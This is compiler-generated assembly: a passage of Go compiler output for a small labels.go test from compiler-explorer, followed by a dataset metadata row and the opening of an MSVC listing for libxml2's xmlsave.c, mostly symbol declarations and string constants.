0x0010 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 48 83 3d ...H.l$.H.l$.H.=
0x0020 00 00 00 00 01 75 0a 48 8b 6c 24 08 48 83 c4 10 .....u.H.l$.H...
0x0030 c3 e8 00 00 00 00 48 c7 04 24 01 00 00 00 e8 00 ......H..$......
0x0040 00 00 00 e8 00 00 00 00 eb dd e8 00 00 00 00 eb ................
0x0050 af .
rel 5+4 t=16 TLS+0
rel 32+4 t=15 "".N+-1
rel 50+4 t=8 runtime.printlock+0
rel 63+4 t=8 runtime.printint+0
rel 68+4 t=8 runtime.printunlock+0
rel 75+4 t=8 runtime.morestack_noctxt+0
"".αβ STEXT size=81 args=0x0 locals=0x10
0x0000 00000 (labels.go:27) TEXT "".αβ(SB), $16-0
0x0000 00000 (labels.go:27) MOVQ (TLS), CX
0x0009 00009 (labels.go:27) CMPQ SP, 16(CX)
0x000d 00013 (labels.go:27) JLS 74
0x000f 00015 (labels.go:27) SUBQ $16, SP
0x0013 00019 (labels.go:27) MOVQ BP, 8(SP)
0x0018 00024 (labels.go:27) LEAQ 8(SP), BP
0x001d 00029 (labels.go:27) FUNCDATA $0, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:27) FUNCDATA $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:27) FUNCDATA $3, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:28) PCDATA $2, $0
0x001d 00029 (labels.go:28) PCDATA $0, $0
0x001d 00029 (labels.go:28) CMPQ "".N(SB), $1
0x0025 00037 (labels.go:28) JNE 49
0x0027 00039 (<unknown line number>) PCDATA $2, $-2
0x0027 00039 (<unknown line number>) PCDATA $0, $-2
0x0027 00039 (<unknown line number>) MOVQ 8(SP), BP
0x002c 00044 (<unknown line number>) ADDQ $16, SP
0x0030 00048 (<unknown line number>) RET
0x0031 00049 (labels.go:29) PCDATA $2, $0
0x0031 00049 (labels.go:29) PCDATA $0, $0
0x0031 00049 (labels.go:29) CALL runtime.printlock(SB)
0x0036 00054 (labels.go:29) MOVQ $1, (SP)
0x003e 00062 (labels.go:29) CALL runtime.printint(SB)
0x0043 00067 (labels.go:29) CALL runtime.printunlock(SB)
0x0048 00072 (labels.go:29) JMP 39
0x004a 00074 (labels.go:29) NOP
0x004a 00074 (labels.go:27) PCDATA $0, $-1
0x004a 00074 (labels.go:27) PCDATA $2, $-1
0x004a 00074 (labels.go:27) CALL runtime.morestack_noctxt(SB)
0x004f 00079 (labels.go:27) JMP 0
0x0000 64 48 8b 0c 25 00 00 00 00 48 3b 61 10 76 3b 48 dH..%....H;a.v;H
0x0010 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 48 83 3d ...H.l$.H.l$.H.=
0x0020 00 00 00 00 01 75 0a 48 8b 6c 24 08 48 83 c4 10 .....u.H.l$.H...
0x0030 c3 e8 00 00 00 00 48 c7 04 24 01 00 00 00 e8 00 ......H..$......
0x0040 00 00 00 e8 00 00 00 00 eb dd e8 00 00 00 00 eb ................
0x0050 af .
rel 5+4 t=16 TLS+0
rel 32+4 t=15 "".N+-1
rel 50+4 t=8 runtime.printlock+0
rel 63+4 t=8 runtime.printint+0
rel 68+4 t=8 runtime.printunlock+0
rel 75+4 t=8 runtime.morestack_noctxt+0
"".Closures.func1.1 STEXT size=81 args=0x0 locals=0x10
0x0000 00000 (labels.go:8) TEXT "".Closures.func1.1(SB), $16-0
0x0000 00000 (labels.go:8) MOVQ (TLS), CX
0x0009 00009 (labels.go:8) CMPQ SP, 16(CX)
0x000d 00013 (labels.go:8) JLS 74
0x000f 00015 (labels.go:8) SUBQ $16, SP
0x0013 00019 (labels.go:8) MOVQ BP, 8(SP)
0x0018 00024 (labels.go:8) LEAQ 8(SP), BP
0x001d 00029 (labels.go:8) FUNCDATA $0, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:8) FUNCDATA $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:8) FUNCDATA $3, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:9) PCDATA $2, $0
0x001d 00029 (labels.go:9) PCDATA $0, $0
0x001d 00029 (labels.go:9) CMPQ "".N(SB), $4
0x0025 00037 (labels.go:9) JNE 49
0x0027 00039 (<unknown line number>) PCDATA $2, $-2
0x0027 00039 (<unknown line number>) PCDATA $0, $-2
0x0027 00039 (<unknown line number>) MOVQ 8(SP), BP
0x002c 00044 (<unknown line number>) ADDQ $16, SP
0x0030 00048 (<unknown line number>) RET
0x0031 00049 (labels.go:10) PCDATA $2, $0
0x0031 00049 (labels.go:10) PCDATA $0, $0
0x0031 00049 (labels.go:10) CALL runtime.printlock(SB)
0x0036 00054 (labels.go:10) MOVQ $1, (SP)
0x003e 00062 (labels.go:10) CALL runtime.printint(SB)
0x0043 00067 (labels.go:10) CALL runtime.printunlock(SB)
0x0048 00072 (labels.go:10) JMP 39
0x004a 00074 (labels.go:10) NOP
0x004a 00074 (labels.go:8) PCDATA $0, $-1
0x004a 00074 (labels.go:8) PCDATA $2, $-1
0x004a 00074 (labels.go:8) CALL runtime.morestack_noctxt(SB)
0x004f 00079 (labels.go:8) JMP 0
0x0000 64 48 8b 0c 25 00 00 00 00 48 3b 61 10 76 3b 48 dH..%....H;a.v;H
0x0010 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 48 83 3d ...H.l$.H.l$.H.=
0x0020 00 00 00 00 04 75 0a 48 8b 6c 24 08 48 83 c4 10 .....u.H.l$.H...
0x0030 c3 e8 00 00 00 00 48 c7 04 24 01 00 00 00 e8 00 ......H..$......
0x0040 00 00 00 e8 00 00 00 00 eb dd e8 00 00 00 00 eb ................
0x0050 af .
rel 5+4 t=16 TLS+0
rel 32+4 t=15 "".N+-1
rel 50+4 t=8 runtime.printlock+0
rel 63+4 t=8 runtime.printint+0
rel 68+4 t=8 runtime.printunlock+0
rel 75+4 t=8 runtime.morestack_noctxt+0
"".Closures.func1 STEXT size=90 args=0x0 locals=0x10
0x0000 00000 (labels.go:7) TEXT "".Closures.func1(SB), $16-0
0x0000 00000 (labels.go:7) MOVQ (TLS), CX
0x0009 00009 (labels.go:7) CMPQ SP, 16(CX)
0x000d 00013 (labels.go:7) JLS 83
0x000f 00015 (labels.go:7) SUBQ $16, SP
0x0013 00019 (labels.go:7) MOVQ BP, 8(SP)
0x0018 00024 (labels.go:7) LEAQ 8(SP), BP
0x001d 00029 (labels.go:7) FUNCDATA $0, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:7) FUNCDATA $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:7) FUNCDATA $3, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:14) PCDATA $2, $0
0x001d 00029 (labels.go:14) PCDATA $0, $0
0x001d 00029 (labels.go:14) MOVQ "".N(SB), AX
0x0024 00036 (labels.go:14) CMPQ AX, $3
0x0028 00040 (labels.go:14) JEQ 48
0x002a 00042 (labels.go:15) CMPQ AX, $4
0x002e 00046 (labels.go:15) JNE 58
0x0030 00048 (<unknown line number>) PCDATA $2, $-2
0x0030 00048 (<unknown line number>) PCDATA $0, $-2
0x0030 00048 (<unknown line number>) MOVQ 8(SP), BP
0x0035 00053 (<unknown line number>) ADDQ $16, SP
0x0039 00057 (<unknown line number>) RET
0x003a 00058 (labels.go:15) PCDATA $2, $0
0x003a 00058 (labels.go:15) PCDATA $0, $0
0x003a 00058 (labels.go:15) CALL runtime.printlock(SB)
0x003f 00063 (labels.go:15) MOVQ $1, (SP)
0x0047 00071 (labels.go:15) CALL runtime.printint(SB)
0x004c 00076 (labels.go:15) CALL runtime.printunlock(SB)
0x0051 00081 (labels.go:15) JMP 48
0x0053 00083 (labels.go:15) NOP
0x0053 00083 (labels.go:7) PCDATA $0, $-1
0x0053 00083 (labels.go:7) PCDATA $2, $-1
0x0053 00083 (labels.go:7) CALL runtime.morestack_noctxt(SB)
0x0058 00088 (labels.go:7) JMP 0
0x0000 64 48 8b 0c 25 00 00 00 00 48 3b 61 10 76 44 48 dH..%....H;a.vDH
0x0010 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 48 8b 05 ...H.l$.H.l$.H..
0x0020 00 00 00 00 48 83 f8 03 74 06 48 83 f8 04 75 0a ....H...t.H...u.
0x0030 48 8b 6c 24 08 48 83 c4 10 c3 e8 00 00 00 00 48 H.l$.H.........H
0x0040 c7 04 24 01 00 00 00 e8 00 00 00 00 e8 00 00 00 ..$.............
0x0050 00 eb dd e8 00 00 00 00 eb a6 ..........
rel 5+4 t=16 TLS+0
rel 32+4 t=15 "".N+0
rel 59+4 t=8 runtime.printlock+0
rel 72+4 t=8 runtime.printint+0
rel 77+4 t=8 runtime.printunlock+0
rel 84+4 t=8 runtime.morestack_noctxt+0
go.info."".Closures.func1.1$abstract SDWARFINFO dupok size=44
0x0000 03 63 6f 6d 6d 61 6e 64 2d 6c 69 6e 65 2d 61 72 .command-line-ar
0x0010 67 75 6d 65 6e 74 73 2e 43 6c 6f 73 75 72 65 73 guments.Closures
0x0020 2e 66 75 6e 63 31 2e 31 00 01 01 00 .func1.1....
go.loc."".Closures SDWARFLOC size=0
go.info."".Closures SDWARFINFO size=37
0x0000 02 22 22 2e 43 6c 6f 73 75 72 65 73 00 00 00 00 ."".Closures....
0x0010 00 00 00 00 00 00 00 00 00 00 00 00 00 01 9c 00 ................
0x0020 00 00 00 01 00 .....
rel 13+8 t=1 "".Closures+0
rel 21+8 t=1 "".Closures+82
rel 31+4 t=29 gofile..labels.go+0
go.range."".Closures SDWARFRANGE size=0
go.isstmt."".Closures SDWARFMISC size=0
0x0000 04 0f 04 0e 03 08 01 0c 02 07 01 13 02 07 00 ...............
go.loc."".Closures_func1_1 SDWARFLOC size=0
go.info."".Closures_func1_1 SDWARFINFO size=45
0x0000 02 22 22 2e 43 6c 6f 73 75 72 65 73 5f 66 75 6e ."".Closures_fun
0x0010 63 31 5f 31 00 00 00 00 00 00 00 00 00 00 00 00 c1_1............
0x0020 00 00 00 00 00 01 9c 00 00 00 00 01 00 .............
rel 21+8 t=1 "".Closures_func1_1+0
rel 29+8 t=1 "".Closures_func1_1+81
rel 39+4 t=29 gofile..labels.go+0
go.range."".Closures_func1_1 SDWARFRANGE size=0
go.isstmt."".Closures_func1_1 SDWARFMISC size=0
0x0000 04 0f 04 0e 03 08 01 0c 02 05 01 14 02 07 00 ...............
go.loc."".αβ SDWARFLOC size=0
go.info."".αβ SDWARFINFO size=33
0x0000 02 22 22 2e ce b1 ce b2 00 00 00 00 00 00 00 00 ."".............
0x0010 00 00 00 00 00 00 00 00 00 01 9c 00 00 00 00 01 ................
0x0020 00 .
rel 9+8 t=1 "".αβ+0
rel 17+8 t=1 "".αβ+81
rel 27+4 t=29 gofile..labels.go+0
go.range."".αβ SDWARFRANGE size=0
go.isstmt."".αβ SDWARFMISC size=0
0x0000 04 0f 04 0e 03 08 01 0c 02 05 01 14 02 07 00 ...............
go.loc."".Closures.func1.1 SDWARFLOC size=0
go.info."".Closures.func1.1 SDWARFINFO size=24
0x0000 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0010 00 00 00 00 00 01 9c 00 ........
rel 1+4 t=28 go.info."".Closures.func1.1$abstract+0
rel 5+8 t=1 "".Closures.func1.1+0
rel 13+8 t=1 "".Closures.func1.1+81
go.range."".Closures.func1.1 SDWARFRANGE size=0
go.isstmt."".Closures.func1.1 SDWARFMISC size=0
0x0000 04 0f 04 0e 03 08 01 0c 02 05 01 14 02 07 00 ...............
go.loc."".Closures.func1 SDWARFLOC size=0
go.info."".Closures.func1 SDWARFINFO size=58
0x0000 02 22 22 2e 43 6c 6f 73 75 72 65 73 2e 66 75 6e ."".Closures.fun
0x0010 63 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c1..............
0x0020 00 00 00 01 9c 00 00 00 00 01 06 00 00 00 00 00 ................
0x0030 00 00 00 00 00 00 00 0f 00 00 ..........
rel 19+8 t=1 "".Closures.func1+0
rel 27+8 t=1 "".Closures.func1+90
rel 37+4 t=29 gofile..labels.go+0
rel 43+4 t=28 go.info."".Closures.func1.1$abstract+0
rel 47+4 t=28 go.range."".Closures.func1+0
rel 51+4 t=29 gofile..labels.go+0
go.range."".Closures.func1 SDWARFRANGE size=64
0x0000 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
0x0010 2a 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 *.......0.......
0x0020 3a 00 00 00 00 00 00 00 53 00 00 00 00 00 00 00 :.......S.......
0x0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
rel 8+8 t=1 "".Closures.func1+0
go.isstmt."".Closures.func1 SDWARFMISC size=0
0x0000 04 0f 04 0e 03 07 01 06 02 04 01 0c 02 05 01 14 ................
0x0010 02 07 00 ...
"".N SNOPTRBSS size=8
"".Closures.func1·f SRODATA dupok size=8
0x0000 00 00 00 00 00 00 00 00 ........
rel 0+8 t=1 "".Closures.func1+0
"".Closures.func1.1·f SRODATA dupok size=8
0x0000 00 00 00 00 00 00 00 00 ........
rel 0+8 t=1 "".Closures.func1.1+0
gclocals·33cdeccccebe80329f1fdbee7f5874cb SRODATA dupok size=8
0x0000 01 00 00 00 00 00 00 00 ........
gclocals·9fb7f0986f647f17cb53dda1484e0f7a SRODATA dupok size=10
0x0000 02 00 00 00 01 00 00 00 00 01 ..........
| 50.445902 | 87 | 0.655466 | [
"BSD-2-Clause"
] | 0xflotus/compiler-explorer | test/golang/labels.asm | 15,423 | Assembly |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1
TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\xmlsave.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM _xmlMalloc:DWORD
COMM _xmlMallocAtomic:DWORD
COMM _xmlRealloc:DWORD
COMM _xmlFree:DWORD
COMM _xmlMemStrdup:DWORD
COMM _xmlIsBaseCharGroup:BYTE:010H
COMM _xmlIsCharGroup:BYTE:010H
COMM _xmlIsCombiningGroup:BYTE:010H
COMM _xmlIsDigitGroup:BYTE:010H
COMM _xmlIsExtenderGroup:BYTE:010H
COMM _xmlIsIdeographicGroup:BYTE:010H
COMM _xmlIsPubidChar_tab:BYTE:0100H
COMM _xmlParserMaxDepth:DWORD
COMM _forbiddenExp:DWORD
COMM _emptyExp:DWORD
_DATA ENDS
msvcjmc SEGMENT
__188180DA_corecrt_math@h DB 01H
__2CC6E67D_corecrt_stdio_config@h DB 01H
__05476D76_corecrt_wstdio@h DB 01H
__A452D4A0_stdio@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__BAD788A4_xmlsave@c DB 01H
msvcjmc ENDS
PUBLIC _xmlAttrSerializeTxtContent
PUBLIC _xmlDocDumpFormatMemory
PUBLIC _xmlDocDumpMemory
PUBLIC _xmlDocDumpMemoryEnc
PUBLIC _xmlDocDumpFormatMemoryEnc
PUBLIC _xmlDocFormatDump
PUBLIC _xmlDocDump
PUBLIC _xmlElemDump
PUBLIC _xmlSaveFile
PUBLIC _xmlSaveFormatFile
PUBLIC _xmlBufNodeDump
PUBLIC _xmlNodeDump
PUBLIC _xmlSaveFileTo
PUBLIC _xmlSaveFormatFileTo
PUBLIC _xmlNodeDumpOutput
PUBLIC _xmlSaveFormatFileEnc
PUBLIC _xmlSaveFileEnc
PUBLIC _xmlIsXHTML
PUBLIC _xmlSaveToFd
PUBLIC _xmlSaveToFilename
PUBLIC _xmlSaveToBuffer
PUBLIC _xmlSaveToIO
PUBLIC _xmlSaveDoc
PUBLIC _xmlSaveTree
PUBLIC _xmlSaveFlush
PUBLIC _xmlSaveClose
PUBLIC _xmlSaveSetEscape
PUBLIC _xmlSaveSetAttrEscape
PUBLIC _xmlBufAttrSerializeTxtContent
PUBLIC _xmlBufDumpNotationTable
PUBLIC _xmlBufDumpElementDecl
PUBLIC _xmlBufDumpAttributeDecl
PUBLIC _xmlBufDumpEntityDecl
PUBLIC _xmlNsListDumpOutput
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_0CB@LIHKBLCO@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Strict?1?1E@ ; `string'
PUBLIC ??_C@_0CD@EONGLKJJ@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Frameset?1@ ; `string'
PUBLIC ??_C@_0CH@FHDGMIJF@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Transitio@ ; `string'
PUBLIC ??_C@_0DC@BHABDBDI@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@ ; `string'
PUBLIC ??_C@_0DE@CCGEPDJH@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@ ; `string'
PUBLIC ??_C@_0DI@KKENBPON@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@ ; `string'
PUBLIC ??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@ ; `string'
PUBLIC ??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@ ; `string'
PUBLIC ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0BJ@OKGKFHLI@document?5has?5no?5DOCTYPE?6@ ; `string'
PUBLIC ??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@ ; `string'
PUBLIC ??_C@_0CH@EAFIMPAL@xmlEscapeEntities?5?3?5char?5out?5of@ ; `string'
PUBLIC ??_C@_0BI@FGAKHCKD@creating?5saving?5context@ ; `string'
PUBLIC ??_C@_01HNPIGOCE@?$CG@ ; `string'
PUBLIC ??_C@_01ICJEACDI@?$DL@ ; `string'
PUBLIC ??_C@_0BJ@ICFHKFLM@creating?5encoding?5buffer@ ; `string'
PUBLIC ??_C@_01EEMJAFIK@?6@ ; `string'
PUBLIC ??_C@_03PJHHNEEI@xml@ ; `string'
PUBLIC ??_C@_01CLKCMJKC@?5@ ; `string'
PUBLIC ??_C@_06PNFLLAEF@xmlns?3@ ; `string'
PUBLIC ??_C@_05PPEFOGKI@xmlns@ ; `string'
PUBLIC ??_C@_01NEMOKFLO@?$DN@ ; `string'
PUBLIC ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ ; `string'
PUBLIC ??_C@_08GBBLECIH@?5PUBLIC?5@ ; `string'
PUBLIC ??_C@_08PAGGLANP@?5SYSTEM?5@ ; `string'
PUBLIC ??_C@_01PPODPGHN@?$DO@ ; `string'
PUBLIC ??_C@_03OEIPKGAG@?5?$FL?6@ ; `string'
PUBLIC ??_C@_02CFBPIAHD@?$FN?$DO@ ; `string'
PUBLIC ??_C@_01JLIPDDHJ@?3@ ; `string'
PUBLIC ??_C@_02ILLPBGAO@?$DN?$CC@ ; `string'
PUBLIC ??_C@_01BJJEKLCA@?$CC@ ; `string'
PUBLIC ??_C@_04DBLPJNAF@HTML@ ; `string'
PUBLIC ??_C@_02HFBBBACF@?$DM?$DP@ ; `string'
PUBLIC ??_C@_02GOEMJPDN@?$DP?$DO@ ; `string'
PUBLIC ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ ; `string'
PUBLIC ??_C@_03PNLDJJMO@?9?9?$DO@ ; `string'
PUBLIC ??_C@_0N@OGBMJHND@?$DM?$CB?$FLCDATA?$FL?$FN?$FN?$DO@ ; `string'
PUBLIC ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ ; `string'
PUBLIC ??_C@_03MCHNFBAC@?$FN?$FN?$DO@ ; `string'
PUBLIC ??_C@_01MNNFJEPP@?$DM@ ; `string'
PUBLIC ??_C@_02HCGKDMEN@?1?$DO@ ; `string'
PUBLIC ??_C@_02DPNDACHE@?$DM?1@ ; `string'
PUBLIC ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ ; `string'
PUBLIC ??_C@_05FLCMBAOK@?$CC1?40?$CC@ ; `string'
PUBLIC ??_C@_0L@GJNPICMJ@?5encoding?$DN@ ; `string'
PUBLIC ??_C@_0BB@FFDPHLPI@?5standalone?$DN?$CCno?$CC@ ; `string'
PUBLIC ??_C@_0BC@MEICOMAE@?5standalone?$DN?$CCyes?$CC@ ; `string'
PUBLIC ??_C@_03KCOJOIAE@?$DP?$DO?6@ ; `string'
PUBLIC ??_C@_0BN@BMFLMPPL@http?3?1?1www?4w3?4org?11999?1xhtml@ ; `string'
PUBLIC ??_C@_04GOEDGNCF@area@ ; `string'
PUBLIC ??_C@_02FGOECCNH@br@ ; `string'
PUBLIC ??_C@_04BHIIPFEC@base@ ; `string'
PUBLIC ??_C@_08IOLGIJGJ@basefont@ ; `string'
PUBLIC ??_C@_03HNOLNALI@col@ ; `string'
PUBLIC ??_C@_05MIJNFGED@frame@ ; `string'
PUBLIC ??_C@_02FLHDKHAB@hr@ ; `string'
PUBLIC ??_C@_03PCCGDNHJ@img@ ; `string'
PUBLIC ??_C@_05DFJCHPDH@input@ ; `string'
PUBLIC ??_C@_07JMLOFMGP@isindex@ ; `string'
PUBLIC ??_C@_04OHHBHOGB@link@ ; `string'
PUBLIC ??_C@_04HLJJCGEF@meta@ ; `string'
PUBLIC ??_C@_05LJDNNBIK@param@ ; `string'
PUBLIC ??_C@_02EGCJHIOB@id@ ; `string'
PUBLIC ??_C@_04MEMAJGDJ@name@ ; `string'
PUBLIC ??_C@_04IOHABJIC@lang@ ; `string'
PUBLIC ??_C@_01MCMALHOG@a@ ; `string'
PUBLIC ??_C@_01JBBJJEPG@p@ ; `string'
PUBLIC ??_C@_03FEJMGOGI@div@ ; `string'
PUBLIC ??_C@_03HBNNNHNM@map@ ; `string'
PUBLIC ??_C@_06MJBNHHFM@applet@ ; `string'
PUBLIC ??_C@_04MLMMMEIO@form@ ; `string'
PUBLIC ??_C@_06PKBNCBKI@iframe@ ; `string'
PUBLIC ??_C@_05OCPGBOOB@?5id?$DN?$CC@ ; `string'
PUBLIC ??_C@_0M@NGPFCPAA@?5xml?3lang?$DN?$CC@ ; `string'
PUBLIC ??_C@_07OHOHIONL@?5lang?$DN?$CC@ ; `string'
PUBLIC ??_C@_04PNIFHPHN@html@ ; `string'
PUBLIC ??_C@_0CG@NOKOIAPK@?5xmlns?$DN?$CChttp?3?1?1www?4w3?4org?11999?1@ ; `string'
PUBLIC ??_C@_04NEODDMOL@head@ ; `string'
PUBLIC ??_C@_0L@NALBGOHO@http?9equiv@ ; `string'
PUBLIC ??_C@_0N@LAFFMKKA@Content?9Type@ ; `string'
PUBLIC ??_C@_03MFNJFHN@?5?1?$DO@ ; `string'
PUBLIC ??_C@_0DN@ILJMDLKG@?$DMmeta?5http?9equiv?$DN?$CCContent?9Type?$CC@ ; `string'
PUBLIC ??_C@_05EGJIMALK@UTF?98@ ; `string'
PUBLIC ??_C@_04FADKMBBI@?$CC?5?1?$DO@ ; `string'
PUBLIC ??_C@_05EJOHHIMP@?$CG?$CD10?$DL@ ; `string'
PUBLIC ??_C@_05ELKBMGJG@?$CG?$CD13?$DL@ ; `string'
PUBLIC ??_C@_04NCNDODLB@?$CG?$CD9?$DL@ ; `string'
PUBLIC ??_C@_06DDLNFFBN@?$CGquot?$DL@ ; `string'
PUBLIC ??_C@_04GJOGLFEJ@?$CGlt?$DL@ ; `string'
PUBLIC ??_C@_04LOOHDCEI@?$CGgt?$DL@ ; `string'
PUBLIC ??_C@_05JKJFEODM@?$CGamp?$DL@ ; `string'
PUBLIC ??_C@_0BA@GIGPFFIA@creating?5buffer@ ; `string'
PUBLIC ??_C@_0BA@CMJGPMBH@creating?5output@ ; `string'
EXTRN _xmlStrdup:PROC
EXTRN _xmlStrndup:PROC
EXTRN _xmlStrcasecmp:PROC
EXTRN _xmlStrEqual:PROC
EXTRN _xmlStrlen:PROC
EXTRN _xmlBufContent:PROC
EXTRN _xmlBufUse:PROC
EXTRN _xmlBufferCreate:PROC
EXTRN _xmlGetIntSubset:PROC
EXTRN _xmlNewText:PROC
EXTRN _xmlFreeNode:PROC
EXTRN _xmlGetProp:PROC
EXTRN _xmlGetCompressMode:PROC
EXTRN ___xmlSimpleError:PROC
EXTRN _xmlDumpNotationTable:PROC
EXTRN _xmlDumpElementDecl:PROC
EXTRN _xmlDumpAttributeDecl:PROC
EXTRN _xmlDumpEntityDecl:PROC
EXTRN _xmlFindCharEncodingHandler:PROC
EXTRN _xmlParseCharEncoding:PROC
EXTRN _xmlCharEncCloseFunc:PROC
EXTRN _xmlAllocOutputBuffer:PROC
EXTRN _xmlOutputBufferCreateFilename:PROC
EXTRN _xmlOutputBufferCreateFile:PROC
EXTRN _xmlOutputBufferCreateBuffer:PROC
EXTRN _xmlOutputBufferCreateFd:PROC
EXTRN _xmlOutputBufferCreateIO:PROC
EXTRN _xmlOutputBufferWrite:PROC
EXTRN _xmlOutputBufferWriteString:PROC
EXTRN _xmlOutputBufferWriteEscape:PROC
EXTRN _xmlOutputBufferFlush:PROC
EXTRN _xmlOutputBufferClose:PROC
EXTRN _xmlInitParser:PROC
EXTRN ___xmlGenericError:PROC
EXTRN ___xmlGenericErrorContext:PROC
EXTRN ___xmlIndentTreeOutput:PROC
EXTRN ___xmlTreeIndentString:PROC
EXTRN ___xmlSaveNoEmptyTags:PROC
EXTRN _htmlGetMetaEncoding:PROC
EXTRN _htmlSetMetaEncoding:PROC
EXTRN _htmlNodeDumpFormatOutput:PROC
EXTRN _htmlDocContentDumpFormatOutput:PROC
EXTRN _htmlNodeDumpOutput:PROC
EXTRN _htmlIsBooleanAttr:PROC
EXTRN _xmlBufCreate:PROC
EXTRN _xmlBufSetAllocationScheme:PROC
EXTRN _xmlBufGetAllocationScheme:PROC
EXTRN _xmlBufFree:PROC
EXTRN _xmlBufAdd:PROC
EXTRN _xmlBufWriteQuotedString:PROC
EXTRN _xmlBufFromBuffer:PROC
EXTRN _xmlBufBackToBuffer:PROC
EXTRN _xmlBufMergeBuffer:PROC
EXTRN _xmlCharEncOutput:PROC
EXTRN @__CheckForDebuggerJustMyCode@4:PROC
EXTRN _memcpy:PROC
EXTRN _memset:PROC
EXTRN _xmlStringText:BYTE
EXTRN _xmlStringTextNoenc:BYTE
; COMDAT ??_C@_0BA@CMJGPMBH@creating?5output@
CONST SEGMENT
??_C@_0BA@CMJGPMBH@creating?5output@ DB 'creating output', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BA@GIGPFFIA@creating?5buffer@
CONST SEGMENT
??_C@_0BA@GIGPFFIA@creating?5buffer@ DB 'creating buffer', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05JKJFEODM@?$CGamp?$DL@
CONST SEGMENT
??_C@_05JKJFEODM@?$CGamp?$DL@ DB '&', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04LOOHDCEI@?$CGgt?$DL@
CONST SEGMENT
??_C@_04LOOHDCEI@?$CGgt?$DL@ DB '>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04GJOGLFEJ@?$CGlt?$DL@
CONST SEGMENT
??_C@_04GJOGLFEJ@?$CGlt?$DL@ DB '<', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06DDLNFFBN@?$CGquot?$DL@
CONST SEGMENT
??_C@_06DDLNFFBN@?$CGquot?$DL@ DB '"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04NCNDODLB@?$CG?$CD9?$DL@
CONST SEGMENT
??_C@_04NCNDODLB@?$CG?$CD9?$DL@ DB '	', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05ELKBMGJG@?$CG?$CD13?$DL@
CONST SEGMENT
??_C@_05ELKBMGJG@?$CG?$CD13?$DL@ DB ' ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05EJOHHIMP@?$CG?$CD10?$DL@
CONST SEGMENT
??_C@_05EJOHHIMP@?$CG?$CD10?$DL@ DB ' ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04FADKMBBI@?$CC?5?1?$DO@
CONST SEGMENT
??_C@_04FADKMBBI@?$CC?5?1?$DO@ DB '" />', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05EGJIMALK@UTF?98@
CONST SEGMENT
??_C@_05EGJIMALK@UTF?98@ DB 'UTF-8', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DN@ILJMDLKG@?$DMmeta?5http?9equiv?$DN?$CCContent?9Type?$CC@
CONST SEGMENT
??_C@_0DN@ILJMDLKG@?$DMmeta?5http?9equiv?$DN?$CCContent?9Type?$CC@ DB '<m'
DB 'eta http-equiv="Content-Type" content="text/html; charset=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03MFNJFHN@?5?1?$DO@
CONST SEGMENT
??_C@_03MFNJFHN@?5?1?$DO@ DB ' />', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@LAFFMKKA@Content?9Type@
CONST SEGMENT
??_C@_0N@LAFFMKKA@Content?9Type@ DB 'Content-Type', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@NALBGOHO@http?9equiv@
CONST SEGMENT
??_C@_0L@NALBGOHO@http?9equiv@ DB 'http-equiv', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04NEODDMOL@head@
CONST SEGMENT
??_C@_04NEODDMOL@head@ DB 'head', 00H ; `string'
CONST ENDS
